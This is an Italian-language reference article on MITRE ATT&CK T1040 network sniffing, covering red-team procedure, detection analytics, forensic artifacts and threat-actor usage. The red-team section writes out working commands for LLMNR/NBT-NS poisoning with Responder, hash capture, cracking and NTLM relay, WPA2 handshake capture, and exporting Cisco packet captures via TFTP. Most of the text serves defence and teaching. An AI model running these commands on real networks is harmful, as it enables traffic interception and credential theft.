Sniffing di Rete: Network Sniffing (T1040)

In un red team engagement lo sniffing serve a due obiettivi: raccogliere credenziali riutilizzabili e mappare la rete senza generare traffico attivo rumoroso. La catena classica su segmento Windows inizia con l'avvelenamento dei protocolli di risoluzione dei nomi.

Responder (open source) resta lo strumento di riferimento per LLMNR, NBT-NS e MDNS poisoning. Avviato con responder -I eth0 -wrf, mette in ascolto server SMB, HTTP e SQL rogue che catturano hash NTLMv2 non appena una vittima interpreta male una richiesta DNS. Gli hash vengono poi crackati offline con hashcat (open source) in modalità 5600 o rilanciati verso host non firmati SMB tramite ntlmrelayx.py di Impacket (open source), scenario documentato nel software S0357.

Per catture puramente passive, tcpdump (open source) con filtri BPF mirati riduce il volume: tcpdump -i eth0 -w capture.pcap 'port 88 or port 389 or port 445' isola traffico Kerberos, LDAP e SMB. tshark (open source) permette estrazione mirata dei campi, mentre Wireshark (open source) resta insostituibile per l'analisi offline. Su reti wireless, come documentato per APT28, l'uso di Wi-Fi Pineapple (a pagamento) o di adattatori USB in monitor mode con airmon-ng e airodump-ng della suite aircrack-ng (open source) consente cattura di handshake WPA2.

In contesti post-exploitation su Linux compromessi, framework come Empire (open source, ora mantenuto da BC Security) e PoshC2 (open source) integrano moduli di packet capture nativi. Alternativamente si può caricare una versione statica di tcpdump o usare ip link set eth0 promisc on seguito da lettura raw socket in Python con socket.AF_PACKET.

Su apparati di rete Cisco IOS, la simulazione della TTP usata in ArcaneDoor (C0046) si realizza con:

monitor capture CAP interface GigabitEthernet0/0 both monitor capture CAP match any monitor capture CAP start

seguito da esportazione via monitor capture CAP export tftp://host/cap.pcap. Su Juniper l'equivalente è monitor traffic interface ge-0/0/0 write-file /var/tmp/cap.pcap.

In cloud AWS, per replicare lo scenario T1040 in un lab autorizzato, si crea una Traffic Mirror Session con aws ec2 create-traffic-mirror-session puntando a un target ENI controllato dal red team, quindi si raccoglie il traffico VXLAN-incapsulato con tcpdump filtrando UDP 4789. Ogni attività deve essere confinata a subnet di test con Rules of Engagement firmate.

La detection di T1040 richiede la correlazione di segnali endpoint, di rete e cloud, perché lo sniffing di per sé è passivo e non genera pacchetti osservabili. La strategia MITRE DET0314 propone cinque analytic complementari da adattare al proprio stack.

Su Windows (AN0875), l'attenzione va all'esecuzione di binari noti di cattura come Wireshark.exe, tshark.exe, dumpcap.exe, NetworkMonitor.exe e al caricamento di driver npcap o WinPcap. Le sorgenti chiave sono WinEventLog:Security (EventCode 4688 per process creation con command line) e WinEventLog:System (EventCode 7045 per installazione servizi driver). Un Sysmon (gratuito) ben configurato aggiunge Event ID 1 per esecuzioni e Event ID 6 per driver load, coprendo anche l'attivazione promiscua tramite driver di terze parti. Il tuning deve considerare l'uso legittimo da parte di team di network engineering: whitelist per host, orari e utenti, con alert prioritari per esecuzioni da account non amministrativi.

Su Linux (AN0876), auditd con regole su syscall setsockopt, socket con famiglia AF_PACKET e ioctl con SIOCSIFFLAGS rileva l'abilitazione della modalità promiscua. Un log tipico mostra type=SYSCALL con comm="tcpdump" e euid=0. Il flag PROMISC compare anche in dmesg con messaggi tipo entered promiscuous mode. Correlazione con esecuzione di binari sospetti riduce i falsi positivi da tool di monitoring legittimi come Zabbix o Nagios.

Su macOS (AN0877) l'Unified Log traccia invocazioni di tcpdump, pfctl e caricamento di libpcap; osquery (open source) offre la tabella process_open_sockets utile per identificare processi con socket raw.

In ambiente cloud IaaS (AN0878), CloudTrail espone le API CreateTrafficMirrorSession, CreateTrafficMirrorTarget e CreateTrafficMirrorFilter. Un alert su queste chiamate, correlato con l'identità che le invoca e con la EC2 sorgente, intercetta scenari come quelli descritti per il traffico cloud in chiaro. Su Azure la controparte è la creazione di virtualNetworkTaps, su GCP le packetMirrorings.

Su apparati di rete (AN0879), il syslog dei device Cisco/Juniper mostra comandi monitor capture, debug packet e modifiche di ACL per span port. Le campagne ArcaneDoor (C0046) e RedPenguin (C0056) confermano che gli attaccanti sofisticati preferiscono operare direttamente su router e firewall, dove il logging è spesso meno maturo. Integrare i syslog di rete in SIEM come Splunk (a pagamento) o Elastic (freemium) è quindi prioritario.

Controlli D3FEND rilevanti includono Network Traffic Analysis e Administrative Network Activity Analysis come rilevamento, e Network Traffic Filtering come irrigidimento.

L'analisi forense di un incidente T1040 deve ricostruire tre fatti: quando è stata attivata la cattura, quali dati sono stati intercettati e come sono stati esfiltrati. Gli artefatti variano sensibilmente per piattaforma.

Su Windows, la presenza di Npcap o WinPcap si verifica in HKLM\SYSTEM\CurrentControlSet\Services\npcap e nei file npcap.sys, packet.dll, wpcap.dll in C:\Windows\System32\Npcap. Il registro Amcache.hve e le Prefetch (C:\Windows\Prefetch\WIRESHARK.EXE-.pf*) confermano esecuzioni storiche con timestamp last-run. Il ShimCache e le UserAssist completano il quadro. I file .pcap o .pcapng lasciati sul disco rappresentano l'evidenza più diretta; se cancellati, tool come PhotoRec (open source) possono recuperarli dalla free space grazie alla signature del magic number pcap (0xa1b2c3d4). L'analisi del pcap con Wireshark (open source) o NetworkMiner (freemium) permette di quantificare credenziali esposte.

Su Linux, gli artefatti chiave includono ~/.bash_history, ~/.zsh_history e i log di auditd in /var/log/audit/audit.log. Il file /var/log/syslog o dmesg registra transizioni promiscue con stringhe device eth0 entered promiscuous mode. La verifica live via ip -s link show o ip link show | grep PROMISC mostra interfacce ancora attive. Per malware persistenti come Penquin (S0587), cd00r (S1204) e J-magic (S1203) che usano libpcap o eBPF, l'ispezione di bpftool prog list, /sys/fs/bpf/ e dei programmi eBPF caricati è essenziale. I file di capture spesso finiscono in /tmp, /var/tmp o directory nascoste con prefisso punto.

Su apparati di rete compromessi in campagne come ArcaneDoor (C0046, con Line Dancer S1186) e RedPenguin (C0056, backdoor libpcap-based su Juniper MX), l'evidenza va cercata nei filesystem dei device: /bootflash/, /disk0/, /var/tmp/ su Cisco IOS-XE, /var/tmp/ e /var/db/ su Junos. Comandi come show monitor capture e show tech-support preservano configurazioni volatili. Il malware JumbledPath (S1206) documenta l'uso di jump-host per esfiltrare capture, quindi va tracciato il traffico verso IP amministrativi anomali. Per F5 BIG-IP compromessi da Velvet Ant (G1047) con VELVETTAP, l'analisi dei log tmm e dei processi non firmati è dirimente.

In contesti cloud, CloudTrail di AWS conserva le API di creazione mirror session per 90 giorni; l'export in un bucket S3 dedicato con Object Lock è pratica raccomandata per la timeline. La correlazione tra creazione della sessione, IAM role usato e destinazione ENI ricostruisce la catena. La campagna 2015 Ukraine Electric Power Attack (C0028) mostra come il modulo sniffer di BlackEnergy sia stato usato come precursore del movimento laterale verso i sistemi ICS: nei casi ICS/OT vanno preservati anche i log degli engineering workstation e degli historian.

Lo sniffing di rete è una tecnica trasversale che unisce attori state-sponsored di alto profilo con gruppi cybercriminali, ma i dati MITRE mostrano una netta prevalenza di APT statuali orientati a spionaggio e sabotaggio.

APT28 (G0007), attribuito al GRU russo, illustra la duplice modalità operativa: sul piano remoto ha impiegato Responder (S0174) per NBT-NS poisoning e furto di hash NTLM, mentre i suoi close-access team hanno utilizzato Wi-Fi Pineapple per intercettazioni fisiche, tipicamente vicino a strutture diplomatiche e sportive. Questa combinazione remoto/fisico è un marker distintivo del gruppo.

Sandworm Team (G0034), anch'esso GRU, ha usato intercepter-NG per sniffare password di rete. Nella campagna 2015 Ukraine Electric Power Attack (C0028) il modulo network sniffer di BlackEnergy3 ha permesso di raccogliere credenziali tra la LAN aziendale e i sistemi ICS delle sottostazioni ucraine, precondizione tecnica per l'attacco che il 23 dicembre 2015 lasciò senza elettricità 230.000 utenti. È il caso di scuola in cui lo sniffing abilita l'impatto cinetico.

Gli attori nord-coreani come Kimsuky (G0094) e iraniani come APT33 (G0064) convergono sull'uso di SniffPass di NirSoft, un tool leggero focalizzato sull'estrazione di password da protocolli non cifrati (POP3, IMAP, SMTP, HTTP, FTP). La scelta di un tool commerciale gratuito indica preferenza per soluzioni a basso footprint forense e facile deploy in campagne di volume.

Il cluster cinese emerso con maggior forza è composto da Salt Typhoon (G1045), Velvet Ant (G1047) e UNC3886 (G1048), tutti focalizzati su compromissioni di apparati di rete e edge device. Salt Typhoon ha impiegato tool eterogenei per la cattura tra interfacce di router telco; Velvet Ant ha sviluppato VELVETTAP, un packet capture custom per F5 BIG-IP; UNC3886 ha usato LOOKOVER per intercettare pacchetti di autenticazione TACACS+ e, nella campagna RedPenguin (C0056), ha installato backdoor passivi libpcap-based su router Juniper MX. Questa convergenza indica una dottrina condivisa: compromettere l'infrastruttura di transito, invisibile all'EDR endpoint, per ottenere visibilità persistente sul traffico interno.

DarkVishnya (G0105), cluster cybercriminale attivo contro banche est-europee, ha usato sniffing per acquisire credenziali di login su reti bancarie, dimostrando che la tecnica non è appannaggio esclusivo del cyberespionage.

La campagna ArcaneDoor (C0046), attribuita a UAT4356/STORM-1849 con vittimologia governativa e critical infrastructure, conferma il trend: gli attori sofisticati investono in impianti su firewall Cisco ASA/FTD per catturare traffico e credenziali. Malware come MESSAGETAP (S0443), che intercetta SMS su nodi SCTP telco, e FoggyWeb (S0661), che monitora richieste HTTP su AD FS, mostrano quanto lo sniffing si sia specializzato per contesto: telco, identity provider, edge network. Il trend prevalente è lo spostamento del baricentro dal client verso l'infrastruttura, dove il logging è più scarso e la persistenza più duratura.

MITRE ATT&CK T1040 Network Sniffing; tattiche TA0006 e TA0007; gruppi G0007, G0034, G0064, G0094, G0105, G1045, G1047, G1048; software S0019, S0174, S0357, S0363, S0367, S0378, S0443, S0587, S0590, S0661, S1154, S1186, S1203, S1204, S1206, S1224; campagne C0028, C0046, C0056; mitigazioni M1018, M1030, M1032, M1041; detection strategy DET0314. Integrata conoscenza professionale su sintassi tool (tcpdump, Responder, Impacket, monitor capture Cisco) e artefatti forensi verificabili tramite documentazione ufficiale.